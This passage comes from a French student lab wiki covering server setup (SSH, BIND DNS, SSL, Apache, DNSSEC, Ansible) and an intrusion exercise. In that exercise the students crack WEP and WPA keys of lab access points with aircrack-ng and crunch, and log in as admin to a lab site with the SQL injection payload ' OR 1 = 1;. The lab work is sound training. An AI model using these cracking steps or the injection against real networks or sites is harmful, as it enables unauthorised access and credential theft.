Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firewall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot; \{\{item\}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
